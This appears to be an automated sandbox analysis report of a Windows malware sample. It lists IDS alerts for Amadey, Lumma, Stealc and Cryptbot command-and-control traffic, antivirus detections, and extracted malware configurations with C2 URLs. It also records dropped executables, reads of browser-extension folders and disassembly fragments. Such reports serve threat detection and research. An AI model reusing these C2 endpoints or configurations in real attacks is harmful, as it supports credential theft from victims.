2024-11-23T15:22:27.655893+0100	2028371	3	Unknown Traffic	192.168.2.4	49813	172.67.223.140	443	TCP
2024-11-23T15:22:29.670043+0100	2028371	3	Unknown Traffic	192.168.2.4	49819	104.21.33.116	443	TCP
2024-11-23T15:22:30.237856+0100	2028371	3	Unknown Traffic	192.168.2.4	49822	172.67.223.140	443	TCP
2024-11-23T15:22:31.991433+0100	2028371	3	Unknown Traffic	192.168.2.4	49829	104.21.33.116	443	TCP
2024-11-23T15:22:33.491454+0100	2028371	3	Unknown Traffic	192.168.2.4	49831	172.67.223.140	443	TCP
2024-11-23T15:22:34.691235+0100	2028371	3	Unknown Traffic	192.168.2.4	49838	104.21.33.116	443	TCP
2024-11-23T15:22:37.367741+0100	2028371	3	Unknown Traffic	192.168.2.4	49844	104.21.33.116	443	TCP
2024-11-23T15:22:40.187709+0100	2028371	3	Unknown Traffic	192.168.2.4	49854	104.21.33.116	443	TCP
2024-11-23T15:22:43.636805+0100	2028371	3	Unknown Traffic	192.168.2.4	49865	104.21.33.116	443	TCP
2024-11-23T15:22:43.797680+0100	2028371	3	Unknown Traffic	192.168.2.4	49866	104.21.33.116	443	TCP
2024-11-23T15:22:46.378228+0100	2028371	3	Unknown Traffic	192.168.2.4	49873	104.21.33.116	443	TCP
2024-11-23T15:22:46.608064+0100	2028371	3	Unknown Traffic	192.168.2.4	49875	104.21.33.116	443	TCP
2024-11-23T15:22:49.423695+0100	2028371	3	Unknown Traffic	192.168.2.4	49891	104.21.33.116	443	TCP
2024-11-23T15:22:52.388060+0100	2028371	3	Unknown Traffic	192.168.2.4	49903	104.21.33.116	443	TCP
2024-11-23T15:22:54.230831+0100	2028371	3	Unknown Traffic	192.168.2.4	49914	104.21.33.116	443	TCP
2024-11-23T15:22:56.184668+0100	2028371	3	Unknown Traffic	192.168.2.4	49922	104.21.33.116	443	TCP
2024-11-23T15:23:00.696372+0100	2028371	3	Unknown Traffic	192.168.2.4	49937	104.21.33.116	443	TCP
2024-11-23T15:23:03.955459+0100	2028371	3	Unknown Traffic	192.168.2.4	49948	104.21.33.116	443	TCP
2024-11-23T15:23:08.007781+0100	2028371	3	Unknown Traffic	192.168.2.4	49959	104.21.33.116	443	TCP
2024-11-23T15:25:53.838426+0100	2028371	3	Unknown Traffic	192.168.2.4	50237	104.46.162.225	443	TCP

ET MALWARE Amadey Bot Activity (POST)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T15:22:21.124926+0100	2044623	1	A Network Trojan was detected	192.168.2.4	49793	185.215.113.43	80	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T15:22:15.960588+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49771	172.67.223.140	443	TCP
2024-11-23T15:22:18.202068+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49779	172.67.223.140	443	TCP
2024-11-23T15:22:30.355744+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49819	104.21.33.116	443	TCP
2024-11-23T15:22:32.716636+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49829	104.21.33.116	443	TCP
2024-11-23T15:22:44.919110+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49866	104.21.33.116	443	TCP
2024-11-23T15:22:47.356461+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49873	104.21.33.116	443	TCP
2024-11-23T15:22:55.121606+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49914	104.21.33.116	443	TCP
2024-11-23T15:23:08.832244+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49959	104.21.33.116	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T15:22:15.960588+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49771	172.67.223.140	443	TCP
2024-11-23T15:22:30.355744+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49819	104.21.33.116	443	TCP
2024-11-23T15:22:44.919110+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49866	104.21.33.116	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T15:22:18.202068+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49779	172.67.223.140	443	TCP
2024-11-23T15:22:32.716636+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49829	104.21.33.116	443	TCP
2024-11-23T15:22:47.356461+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49873	104.21.33.116	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T15:22:56.831078+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	49923	185.215.113.16	80	TCP
2024-11-23T15:23:10.332375+0100	2019714	2	Potentially Bad Traffic	192.168.2.4	49964	185.215.113.16	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T15:22:16.537189+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49777	185.215.113.43	80	TCP
2024-11-23T15:22:29.654474+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49815	185.215.113.43	80	TCP
2024-11-23T15:22:37.916107+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49846	185.215.113.43	80	TCP
2024-11-23T15:22:45.201775+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49867	185.215.113.43	80	TCP
2024-11-23T15:22:55.655819+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49916	185.215.113.43	80	TCP
2024-11-23T15:23:14.685958+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49983	185.215.113.43	80	TCP

ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T15:23:44.410806+0100	2054350	1	A Network Trojan was detected	192.168.2.4	50120	34.116.198.130	80	TCP
2024-11-23T15:23:46.130633+0100	2054350	1	A Network Trojan was detected	192.168.2.4	50131	34.116.198.130	80	TCP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T15:22:40.566956+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.4	49852	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T15:22:40.244451+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.4	49852	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T15:22:40.896863+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.4	49852	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T15:22:42.610306+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.4	49852	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T15:22:41.022439+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.4	49852	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T15:22:20.782957+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49787	172.67.223.140	443	TCP
2024-11-23T15:22:44.386977+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49865	104.21.33.116	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T15:22:39.781796+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49852	185.215.113.206	80	TCP
2024-11-23T15:23:28.402633+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	50036	185.215.113.206	80	TCP
2024-11-23T15:23:34.397917+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	50075	185.215.113.206	80	TCP
2024-11-23T15:23:37.918072+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	50095	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T15:22:06.307419+0100	2856147	1	A Network Trojan was detected	192.168.2.4	49748	185.215.113.43	80	TCP
2024-11-23T15:27:13.265394+0100	2856147	1	A Network Trojan was detected	192.168.2.4	50269	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T15:22:15.137100+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.4	49759	TCP
2024-11-23T15:23:07.545789+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.4	49939	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T15:22:10.755759+0100	2803305	3	Unknown Traffic	192.168.2.4	49760	31.41.244.11	80	TCP
2024-11-23T15:22:18.041535+0100	2803305	3	Unknown Traffic	192.168.2.4	49780	31.41.244.11	80	TCP
2024-11-23T15:22:22.634154+0100	2803305	3	Unknown Traffic	192.168.2.4	49795	185.215.113.16	80	TCP
2024-11-23T15:22:31.122999+0100	2803305	3	Unknown Traffic	192.168.2.4	49823	185.215.113.16	80	TCP
2024-11-23T15:22:39.417148+0100	2803305	3	Unknown Traffic	192.168.2.4	49853	185.215.113.16	80	TCP
2024-11-23T15:22:46.721399+0100	2803305	3	Unknown Traffic	192.168.2.4	49874	185.215.113.16	80	TCP
2024-11-23T15:23:03.376362+0100	2803305	3	Unknown Traffic	192.168.2.4	49946	31.41.244.11	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T15:22:43.329535+0100	2803304	3	Unknown Traffic	192.168.2.4	49852	185.215.113.206	80	TCP
2024-11-23T15:23:00.358024+0100	2803304	3	Unknown Traffic	192.168.2.4	49913	185.215.113.206	80	TCP
2024-11-23T15:23:02.413204+0100	2803304	3	Unknown Traffic	192.168.2.4	49913	185.215.113.206	80	TCP
2024-11-23T15:23:04.106514+0100	2803304	3	Unknown Traffic	192.168.2.4	49913	185.215.113.206	80	TCP
2024-11-23T15:23:05.766615+0100	2803304	3	Unknown Traffic	192.168.2.4	49913	185.215.113.206	80	TCP
2024-11-23T15:23:09.666168+0100	2803304	3	Unknown Traffic	192.168.2.4	49913	185.215.113.206	80	TCP
2024-11-23T15:23:11.087327+0100	2803304	3	Unknown Traffic	192.168.2.4	49913	185.215.113.206	80	TCP
2024-11-23T15:23:17.388558+0100	2803304	3	Unknown Traffic	192.168.2.4	49993	185.215.113.16	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T15:22:30.245471+0100	2843864	1	A Network Trojan was detected	192.168.2.4	49822	172.67.223.140	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[2].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[3].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000001.00000003.1773574419.0000000004A40000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 0000000F.00000002.3125680756.000000000197E000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}
Source: f5d46eacf9.exe.1244.14.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": "https://property-imper.sbs/api", "Build Version": "LOGS11--LiveTraffi"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\5468191780[1].exe	ReversingLabs: Detection: 26%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	ReversingLabs: Detection: 28%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[2].exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[3].exe	ReversingLabs: Detection: 55%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	ReversingLabs: Detection: 26%
Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe	ReversingLabs: Detection: 28%
Source: C:\Users\user\AppData\Local\Temp\1008455001\796ccdd7ba.exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\1008456001\2096827834.exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 55%
Source: C:\Users\user\DocumentsGIECFIEGDB.exe	ReversingLabs: Detection: 55%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 55%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[3].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\5468191780[1].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.223.140:443 -> 192.168.2.4:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.147.3:443 -> 192.168.2.4:49775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.223.140:443 -> 192.168.2.4:49779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.223.140:443 -> 192.168.2.4:49787 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.223.140:443 -> 192.168.2.4:49794 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.223.140:443 -> 192.168.2.4:49801 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.223.140:443 -> 192.168.2.4:49813 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49819 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.223.140:443 -> 192.168.2.4:49822 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49829 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49838 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49834 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49844 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49854 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49865 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49866 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49873 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49875 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49891 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49903 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49914 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.4:49915 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49922 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.4:49924 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49937 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49948 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.33.116:443 -> 192.168.2.4:49959 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50038 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:50039 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50046 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50055 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50056 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50076 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.4:50077 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.129.91:443 -> 192.168.2.4:50079 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50088 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50089 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50090 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.4:50091 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50183 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50184 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50182 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.46.162.225:443 -> 192.168.2.4:50237 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50244 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50246 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50245 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50243 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50333 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50332 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50331 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50334 version: TLS 1.2

Source:	Binary string: mscorlib.pdb! source: 5468191780.exe, 00000007.00000002.2670303679.00000000014B5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: %%.pdb source: 5468191780.exe, 00000007.00000002.2670064016.0000000000FF9000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: "description": "The name of the library's debug file. For example, 'xul.pdb" source: firefox.exe, 00000033.00000003.2924594441.000001FD028C7000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdb source: 5468191780.exe, 00000007.00000002.2670303679.0000000001483000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb source: 5468191780.exe, 00000007.00000002.2670303679.000000000149D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdb source: 5468191780.exe, 00000007.00000002.2670303679.000000000143A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdb source: 5468191780.exe, 00000007.00000002.2670303679.000000000143A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdbbJl source: 5468191780.exe, 00000007.00000002.2670303679.000000000143A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: f5d46eacf9.exe, 0000000E.00000002.3051076337.00000000063C2000.00000040.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2939299533.00000000084A0000.00000004.00001000.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.3117984954.0000000008190000.00000004.00001000.00020000.00000000.sdmp, 796ccdd7ba.exe, 00000026.00000003.2814428123.0000000005290000.00000004.00001000.00020000.00000000.sdmp, 796ccdd7ba.exe, 00000026.00000002.2949855151.0000000000D82000.00000040.00000001.01000000.00000018.sdmp
Source:	Binary string: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.PDB source: 5468191780.exe, 00000007.00000002.2670064016.0000000000FF9000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\1008450001\5468191780.PDB source: 5468191780.exe, 00000007.00000002.2670303679.000000000143A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\mscorlib.pdbpdblib.pdbn source: 5468191780.exe, 00000007.00000002.2670303679.0000000001412000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\
Source: C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\

Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 4x nop then movzx edx, byte ptr [edi]	7_2_00DFD8D0
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 4x nop then push eax	7_2_00E132A0
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 4x nop then mov byte ptr [ebx], al	7_2_00DF82B0
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 4x nop then mov edx, eax	7_2_00E13320
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 4x nop then mov edx, ecx	7_2_00E13320
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 4C697C35h	7_2_00E13720
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 4x nop then mov edx, ecx	7_2_6C9F209D
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 4x nop then mov eax, ebp	7_2_6C9EC090
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 4x nop then mov eax, ebp	7_2_6C9EC090
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 4C697C35h	7_2_6CA220E0
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 4x nop then mov edx, eax	7_2_6CA21CE0
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 4x nop then mov edx, ecx	7_2_6CA21CE0
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 4x nop then movzx eax, byte ptr [esp+esi+000001E8h]	7_2_6C9F44D8
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+14h]	7_2_6C9EFCF0
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 4x nop then mov ecx, eax	7_2_6C9F242B
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 4x nop then push eax	7_2_6CA21C60
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 4x nop then mov byte ptr [ebx], al	7_2_6CA06C70
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 4x nop then movzx edx, byte ptr [eax+ecx]	7_2_6C9F1100
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 4x nop then movzx edi, byte ptr [esp+edx+14h]	7_2_6C9F4D70
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 4x nop then movzx edx, byte ptr [edi]	7_2_6CA0C290
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 4x nop then mov word ptr [esi], cx	7_2_6C9F4E38
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 4x nop then movzx edx, byte ptr [eax+ecx+00008F12h]	7_2_6C9EDBD0
Source: C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe	Code function: 4x nop then mov word ptr [ebp+ebx*4+00h], ax	7_2_6C9EDBD0
